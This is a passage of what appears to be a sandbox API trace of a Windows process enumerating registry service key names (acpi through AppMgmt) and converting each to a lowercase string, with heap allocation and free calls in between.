dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x1de4768, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0253.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.856] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.856] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.856] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.856] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0253.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x1de44e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0253.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.857] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.857] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.857] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.857] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0253.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0253.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x1de4768, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0253.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.857] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.857] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.857] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.857] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0253.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x1de44e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0253.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.857] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.857] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.857] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.857] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0253.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x1de4768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0253.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.857] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.857] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.857] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.858] RegEnumKeyW (in: hKey=0x154, dwIndex=0xd, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0253.858] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.858] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x1de44e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0253.858] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.858] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.858] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.858] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.858] RegEnumKeyW (in: hKey=0x154, dwIndex=0xe, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adsi") returned 0x0 [0253.858] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.858] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x1de4768, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0253.858] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.858] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.858] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.858] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.858] RegEnumKeyW (in: hKey=0x154, dwIndex=0xf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0253.858] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.858] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x1de44e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0253.858] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.858] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.858] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.858] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.858] RegEnumKeyW (in: hKey=0x154, dwIndex=0x10, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AFD") returned 0x0 [0253.858] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.858] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x1de4768, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0253.859] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.859] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.859] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.859] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.859] RegEnumKeyW (in: hKey=0x154, dwIndex=0x11, lpName=0x1dd29e0, cchName=0x104 | out: lpName="agp440") returned 0x0 [0253.859] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.859] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x1de44e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0253.859] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.859] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.859] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.859] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.859] RegEnumKeyW (in: hKey=0x154, dwIndex=0x12, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ALG") returned 0x0 [0253.859] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.859] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x1de4768, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0253.859] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.859] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.859] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.859] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.859] RegEnumKeyW (in: hKey=0x154, dwIndex=0x13, lpName=0x1dd29e0, cchName=0x104 | out: lpName="aliide") returned 0x0 [0253.859] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.859] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x1de44e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0253.859] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.859] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.859] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.859] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.859] RegEnumKeyW (in: hKey=0x154, dwIndex=0x14, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdide") returned 0x0 [0253.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x1de4768, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0253.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.860] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.860] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.860] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.860] RegEnumKeyW (in: hKey=0x154, dwIndex=0x15, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0253.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x1de44e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0253.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.860] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.860] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.860] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.860] RegEnumKeyW (in: hKey=0x154, dwIndex=0x16, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0253.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x1de4768, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0253.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.860] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.860] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.860] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.860] RegEnumKeyW (in: hKey=0x154, dwIndex=0x17, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0253.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x1de44e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0253.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.861] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.861] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.861] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.861] RegEnumKeyW (in: hKey=0x154, dwIndex=0x18, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0253.861] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.861] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x1de4768, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0253.861] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.861] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.861] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.861] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.861] RegEnumKeyW (in: hKey=0x154, dwIndex=0x19, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0253.861] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.861] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x1de44e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0253.861] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.861] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.861] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.861] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.861] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppID") returned 0x0 [0253.861] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.861] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x1de4768, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0253.861] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.861] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.861] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.861] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.861] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0253.861] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.861] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x1de44e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0253.862] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.862] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.862] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.862] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.862] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0253.862] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.862] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x1de4768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0253.862] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.862] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.862] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.862] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.862] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0253.862] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.862] 